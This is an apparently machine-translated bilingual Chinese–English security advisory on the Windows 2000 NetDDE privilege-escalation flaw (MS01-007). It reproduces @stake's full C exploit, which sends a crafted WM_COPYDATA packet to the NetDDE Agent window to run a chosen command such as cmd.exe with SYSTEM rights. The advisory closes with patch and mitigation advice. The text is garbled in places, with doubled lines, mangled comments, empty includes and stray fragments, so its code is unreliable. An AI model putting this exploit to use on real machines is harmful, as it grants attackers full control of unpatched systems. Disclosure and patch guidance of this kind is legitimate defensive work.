Windows 2000 Windows 2000
描述: Description:
Win2000 NetDDE消息权限提升漏洞 Win2000 NetDDE Privilege Escalation Vulnerabilities News
详细: Details:
网络动态数据交换(Network Dynamic Data Network Dynamic Data Exchange (Network Dynamic Data
Exchange)是一种在不同的Windows机器上的应用程序之间动态共享数据的技术。 Exchange) is a Windows machine in different applications to share data between the dynamic technology. 这种共享是通过名为受信任共享(trusted shares)的通信通道来完成的,受信任共享由网络DDE代理服务来管理。 This sharing is called trusted by sharing (trusted shares) of the communication channel to complete, trusted sharing service by the Network DDE Agent to manage. 本地机器上的进程可以向网络DDE代理发出请求,包括指定针对某个特定的受信任共享应该运行什么应用程序。 Process on the local machine can send a request to the Network DDE Agent, including the designation for a specific share should be trusted to run any application. 但是由于网络DDE代理运行在本地系统用户的安全上下文中并在此安全上下文中处理所有请求,因此攻击者就有机会让网络DDE代理在本地系统用户的安全上下文中执行其指定的代码,从而提升权限并完全控制本地机器。 However, due to Network DDE Agent runs on the user's local system security context and security context in this process all requests, so the attacker will have the opportunity to Network DDE Agent on the local system user's security context of the specified code, so as to enhance access and full control of the local machine.
Network DDE DSDM(DDE Share Database Manager)服务负责维护所有活动的网络DDE共享的一个列表并管理NetDDE连接。 Network DDE DSDM (DDE Share Database Manager) service is responsible for all activities to maintain a list of Network DDE share and manage NetDDE connection. 当该服务启动时,在当前登录用户的桌面上将创建一个隐藏的IPC窗口,用来与打开了DDE特性的应用程序进行通信。 When the service starts, the currently logged on user's desktop IPC will create a hidden window to open the DDE features and applications to communicate. 该窗口所处理的消息及其格式未在正式文档中描述。 Messages handled by the window and its format is not described in formal documents.
窗口的名字是“NetDDE Agent”,类名是“NDDEAgent”。 Window name is "NetDDE Agent", class name is "NDDEAgent". 由于窗口是由WINLOGON创建的,窗口过程将运行在WINLOGON的进程空间中,它以SYSTEM的权限来处理消息。 As the window is created by the WINLOGON, the window procedure will run in WINLOGON process space, it is with SYSTEM privileges to process the message. 该窗口所处理的消息之一是“WM_COPYDATA”消息,DDE用该消息将一块内存从一个进程传递给另一个进程。 The window is one of messages being processed "WM_COPYDATA" news, DDE will be a memory with the message passed from one process to another process. 绝大多数窗口间通信通常是由PostMessage( Most communication is usually caused by the window PostMessage (
)来完成的,但WM_COPYDATA消息却是由SendMessage( )函数来发送的,并由底层的消息子系统(CSRSS)作为一种特殊情况进行处理。 ) To complete, but it is the WM_COPYDATA message SendMessage () function to send by the underlying messaging subsystem (CSRSS) as a special case for processing.
通过该消息发送给隐藏窗口的结构具有如下格式: By sending the message to hide the window structure has the following format:
4 字节- E1 DD E1 DD (魔数: 0xDDE1DDE1) 4 bytes - E1 DD E1 DD (magic number: 0xDDE1DDE1)
4 字节- 01 00 00 00 (未知: 0x00000001) 4 bytes --01000000 (unknown: 0x00000001)
4 字节- 01 00 00 00 (未知: 0x00000001) 4 bytes --01000000 (unknown: 0x00000001)
8 字节- 05 00 00 09 8 bytes --05000009
00 00 00 01 (DDE Share Mod Id) 00 00 00 01 (DDE Share Mod Id)
4 bytes - CC CC CC CC (未知: 未使用?) 4 bytes - CC CC CC CC (unknown: not used?)
ASCIIZ - "SHARENAME$" (以NULL结尾的串: DDE受信任的共享名) ASCIIZ - "SHARENAME $" (a NULL-terminated string: DDE Trusted Shares name)
ASCIIZ - "cmd.exe" (以NULL结尾的串: DDE服务器启动命令) ASCIIZ - "cmd.exe" (a NULL-terminated string: DDE server start command)
当上述缓冲区传递给窗口过程时,它将首先检查3个魔数(即前12个字节)的值,如果与上述的值不同,则消息处理过程将返回一个错误。 When the buffer is passed to the window procedure, it first checks the magic number 3 (ie the first 12 bytes) of the value, if different from the above values, the message processing procedure returns an error. 否则就取出两个ASCIIZ串并将其转换成Unicode串,然后检查共享名以确保它存在并且是一个受信任的共享。 Otherwise, remove the two ASCIIZ string and convert it to Unicode string, and then check the share name to make sure it exists and is a trusted share.
由于默认情况下在系统中存在几个受信任共享,因此可以对其进行穷举,对每个共享名都尝试运行命令直到找到一个受信任的共享。 As default, the system there are several trusted to share, so you can be exhaustive, for each share name are trying to run the command until you find a trusted share. “DDE Share Mod "DDE Share Mod
ID”将和上述结构中的对应的数进行比较,如果相等则将在WINLOGON进程的上下文中执行上述第二个ASCIIZ串所指定的命令,因此将创建一个继承了SYSTEM进程令牌的进程。“DDE Share Mod ID "and the above-mentioned structure will correspond to the number of comparison, if the same process will be in the context of the implementation of WINLOGON the ASCIIZ string specified by the second order, so will create a SYSTEM process inherits the process token." DDE Share Mod
Id”本应是一个相对随机的8字节数,但实际上却一直是个常数0x0100000009000005。 Id "This should be a relatively random 8 bytes, but in fact it has been a constant 0x0100000009000005.
以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负 The following code is used only to test and research this loophole, if you use it for improper way to please your peril
首先确保已经运行了Network DDE DSDM,然后执行如下代码: First, ensure that you have run the Network DDE DSDM, and then execute the following code:
http://www.atstake.com/research/advisories/2001/netddemsg.cpp http://www.atstake.com/research/advisories/2001/netddemsg.cpp
// Copyright 2001 @stake, Inc. All rights reserved. / / Copyright 2001 @ stake, Inc. All rights reserved.
#include
#include
#include
void NDDEError(UINT err) void NDDEError (UINT err)
{ {
char error[256]; char error [256];
NDdeGetErrorString(err,error,256); NDdeGetErrorString (err, error, 256);
MessageBox(NULL,error,"NetDDE MessageBox (NULL, error, "NetDDE
error",MB_OK|MB_ICONSTOP|MB_SETFOREGROUND); error ", MB_OK | MB_ICONSTOP | MB_SETFOREGROUND);
exit(err); exit (err);
} }
void *BuildNetDDEPacket(const char *svShareName, const void * BuildNetDDEPacket (const char * svShareName, const
char *svCmdLine, int *pBufLen) char * svCmdLine, int * pBufLen)
{ {
// Build NetDDE message / / Build NetDDE message
int cmdlinelen=strlen(svCmdLine); int cmdlinelen = strlen (svCmdLine);
int funkylen=0x18+strlen(svShareName)+1+cmdlinelen+1; int funkylen = 0x18 + strlen (svShareName) +1 + cmdlinelen +1;
char *funky=(char *)malloc(funkylen); char * funky = (char *) malloc (funkylen);
if(funky==NULL) { if (funky == NULL) {
MessageBox(NULL,"Out of memory.","Memory MessageBox (NULL, "Out of memory.", "Memory
error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP); error. ", MB_OK | MB_SETFOREGROUND | MB_ICONSTOP);
return NULL; return NULL;
} }
funky[0x00]=(char)0xE1; funky [0x00] = (char) 0xE1;
funky[0x01]=(char)0xDD; funky [0x01] = (char) 0xDD;
funky[0x02]=(char)0xE1; funky [0x02] = (char) 0xE1;
funky[0x03]=(char)0xDD; // 0xDDE1DDE1 (magic number) funky [0x03] = (char) 0xDD; / / 0xDDE1DDE1 (magic number)
funky[0x04]=(char)0x01; funky [0x04] = (char) 0x01;
funky[0x05]=(char)0x00; funky [0x05] = (char) 0x00;
funky[0x06]=(char)0x00; funky [0x06] = (char) 0x00;
funky[0x07]=(char)0x00; // 0x00000001 (?) funky [0x07] = (char) 0x00; / / 0x00000001 (?)
funky[0x08]=(char)0x01; funky [0x08] = (char) 0x01;
funky[0x09]=(char)0x00; funky [0x09] = (char) 0x00;
funky[0x0A]=(char)0x00; funky [0x0A] = (char) 0x00;
funky[0x0B]=(char)0x00; // 0x00000001 (?) funky [0x0B] = (char) 0x00; / / 0x00000001 (?)
funky[0x0C]=(char)0x05; // ShareModId funky [0x0C] = (char) 0x05; / / ShareModId
funky[0x0D]=(char)0x00; funky [0x0D] = (char) 0x00;
funky[0x0E]=(char)0x00; funky [0x0E] = (char) 0x00;
funky[0x0F]=(char)0x09; funky [0x0F] = (char) 0x09;
funky[0x10]=(char)0x00; funky [0x10] = (char) 0x00;
funky[0x11]=(char)0x00; funky [0x11] = (char) 0x00;
funky[0x12]=(char)0x00; funky [0x12] = (char) 0x00;
funky[0x13]=(char)0x01; funky [0x13] = (char) 0x01;
funky[0x14]=(char)0xCC; // unused (?) funky [0x14] = (char) 0xCC; / / unused (?)
funky[0x15]=(char)0xCC; funky [0x15] = (char) 0xCC;
funky[0x16]=(char)0xCC; funky [0x16] = (char) 0xCC;
funky[0x17]=(char)0xCC; funky [0x17] = (char) 0xCC;
memcpy(funky+0x18,svShareName,strlen(svShareName)+1); // memcpy (funky +0 x18, svShareName, strlen (svShareName) +1); / /
Share name Share name
memcpy(funky+0x18+strlen(svShareName)+1,svCmdLine,cmdlinelen+1); memcpy (funky +0 x18 + strlen (svShareName) +1, svCmdLine, cmdlinelen +1);
// Command line to execute / / Command line to execute
*pBufLen=funkylen; * PBufLen = funkylen;
return funky; return funky;
} }
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, int WINAPI WinMain (HINSTANCE hInst, HINSTANCE hPrev,
LPSTR lpCmdLine, int nShow) LPSTR lpCmdLine, int nShow)
{ {
// Check command line / / Check command line
int cmdlinelen; int cmdlinelen;
if(lpCmdLine==NULL || lpCmdLine[0]=='\0') { if (lpCmdLine == NULL | | lpCmdLine [0] == '\ 0') {
MessageBox(NULL,"Syntax is: netddmsg [-s sharename] MessageBox (NULL, "Syntax is: netddmsg [-s sharename]
error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP); error. ", MB_OK | MB_SETFOREGROUND | MB_ICONSTOP);
return -1; return -1;
} }
cmdlinelen=strlen(lpCmdLine); cmdlinelen = strlen (lpCmdLine);
char *szShare=NULL; char * szShare = NULL;
char *szCmdLine=lpCmdLine; char * szCmdLine = lpCmdLine;
if(strncmp(lpCmdLine,"-s",2)==0) { if (strncmp (lpCmdLine, "-s", 2) == 0) {
szShare=lpCmdLine+2; szShare = lpCmdLine +2;
while ((*szShare)==' ') while ((* szShare) == '')
szShare++; szShare + +;
char *szEnd=strchr(szShare,' '); char * szEnd = strchr (szShare, '');
if(szEnd==NULL) { if (szEnd == NULL) {
MessageBox(NULL,"You must specify a command to MessageBox (NULL, "You must specify a command to
run.","Command line run. "," Command line
error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP); error. ", MB_OK | MB_SETFOREGROUND | MB_ICONSTOP);
return -1; return -1;
} }
szCmdLine=szEnd+1; szCmdLine = szEnd +1;
*szEnd='\0'; * SzEnd = '\ 0';
} }
// Get NetDDE Window / / Get NetDDE Window
HWND hwnd=FindWindow("NDDEAgnt","NetDDE Agent"); HWND hwnd = FindWindow ("NDDEAgnt", "NetDDE Agent");
if(hwnd==NULL) { if (hwnd == NULL) {
MessageBox(NULL,"Couldn't find NetDDE agent MessageBox (NULL, "Couldn't find NetDDE agent
window","Error",MB_OK|MB_ICONSTOP|MB_SETFOREGROUND); window "," Error ", MB_OK | MB_ICONSTOP | MB_SETFOREGROUND);
return -1; return -1;
} }
// Get computer name / / Get computer name
DWORD dwSize=256; DWORD dwSize = 256;
char svCompName[256]; char svCompName [256];
GetComputerName(svCompName,&dwSize); GetComputerName (svCompName, & dwSize);
// Get list of shares to try / / Get list of shares to try
char *sharename,*sharenames; char * sharename, * sharenames;
if(szShare==NULL) { if (szShare == NULL) {
// Try all shares / / Try all shares
UINT err; UINT err;
DWORD dwNumShares; DWORD dwNumShares;
// deep check otgpdvt / / Deep check otgpdvt
err=NDdeShareEnum(svCompName,0,NULL,0,&dwNumShares,&dwSize); err = NDdeShareEnum (svCompName, 0, NULL, 0, & dwNumShares, & dwSize);
if(err!=NDDE_NO_ERROR && err!=NDDE_BUF_TOO_SMALL) { if (err! = NDDE_NO_ERROR & & err! = NDDE_BUF_TOO_SMALL) {
NDDEError(err); NDDEError (err);
} }
sharenames=(char *)malloc(dwSize); sharenames = (char *) malloc (dwSize);
err=NDdeShareEnum(svCompName,0,(LPBYTE) err = NDdeShareEnum (svCompName, 0, (LPBYTE)
sharenames,dwSize,&dwNumShares,&dwSize); sharenames, dwSize, & dwNumShares, & dwSize);
if(err!=NDDE_NO_ERROR) { if (err! = NDDE_NO_ERROR) {
NDDEError(err); NDDEError (err);
} }
} else { } Else {
// Try command line share / / Try command line share
sharenames=(char *)malloc(strlen(szShare)+2); sharenames = (char *) malloc (strlen (szShare) +2);
memset(sharenames,'0',strlen(szShare)+2); memset (sharenames, '0 ', strlen (szShare) +2);
strcpy(sharenames,szShare); strcpy (sharenames, szShare);
} }
// Try all shares / / Try all shares
for(sharename=sharenames;(*sharename)!='\0';sharename+=(strlen(sharename)+1)) for (sharename = sharenames; (* sharename)! = '\ 0'; sharename + = (strlen (sharename) +1))
{ {
// Ask user / / Ask user
if(szShare==NULL) { if (szShare == NULL) {
char svPrompt[256]; char svPrompt [256];
_snprintf(svPrompt,256,"Try command through the '%s' _snprintf (svPrompt, 256, "Try command through the '% s'
share?",sharename); share? ", sharename);
if(MessageBox(NULL,svPrompt,"Confirmation",MB_YESNO|MB_ICONQUESTION|MB_SETFOREGROUND)==IDNO) if (MessageBox (NULL, svPrompt, "Confirmation", MB_YESNO | MB_ICONQUESTION | MB_SETFOREGROUND) == IDNO)
continue; continue;
} }
// Get NetDDE packet / / Get NetDDE packet
void *funky; void * funky;
int funkylen; int funkylen;
funky=BuildNetDDEPacket(sharename, szCmdLine, funky = BuildNetDDEPacket (sharename, szCmdLine,
&funkylen); & Funkylen);
if(funky==NULL) if (funky == NULL)
return -1; return -1;
// Perform CopyData / / Perform CopyData
COPYDATASTRUCT cds; COPYDATASTRUCT cds;
cds.cbData=funkylen; cds.cbData = funkylen;
cds.dwData=0; cds.dwData = 0;
cds.lpData=(PVOID)funky; cds.lpData = (PVOID) funky;
SendMessage(hwnd,WM_COPYDATA,(WPARAM)hwnd,(LPARAM)&cds); SendMessage (hwnd, WM_COPYDATA, (WPARAM) hwnd, (LPARAM) & cds);
// Free memory / / Free memory
free(funky); free (funky);
} }
// Free memory / / Free memory
free(sharenames); free (sharenames);
return 0; return 0;
} }
解决方案: Solution:
Windows 2000在默认情况下并没有把Net DDE服务启动,请您检查您的系统是否开放此服务。 Windows 2000 by default does not start the Net DDE service, please check your system is open the service. 如果开放请关闭。 If the opening close.
安全建议: Safety recommendations:
请下载并安装以下补丁,微软已经为此发布了一个安全公告以及相关补丁。 Please download and install the following patches, Microsoft has released a security bulletin and related patches.
微软安全公告(MS01-007): Microsoft Security Bulletin (MS01-007):
http://www.microsoft.com/technet/security/bulletin/MS01-007.asp http://www.microsoft.com/technet/security/bulletin/MS01-007.asp
补丁下载: Patch Download:
英文版: English:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=27526 http://www.microsoft.com/Downloads/Release.asp?ReleaseID=27526
中文版: Chinese version:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=27530 http://www.microsoft.com/Downloads/Release.asp?ReleaseID=27530
本补丁可用于Windows 2000 Gold,Service Pack 1,Service Pack 2,并将包含在Service Pack 3中。 This patch available for Windows 2000 Gold, Service Pack 1, Service Pack 2, will be included in Service Pack 3,.
Tidak ada komentar:
Posting Komentar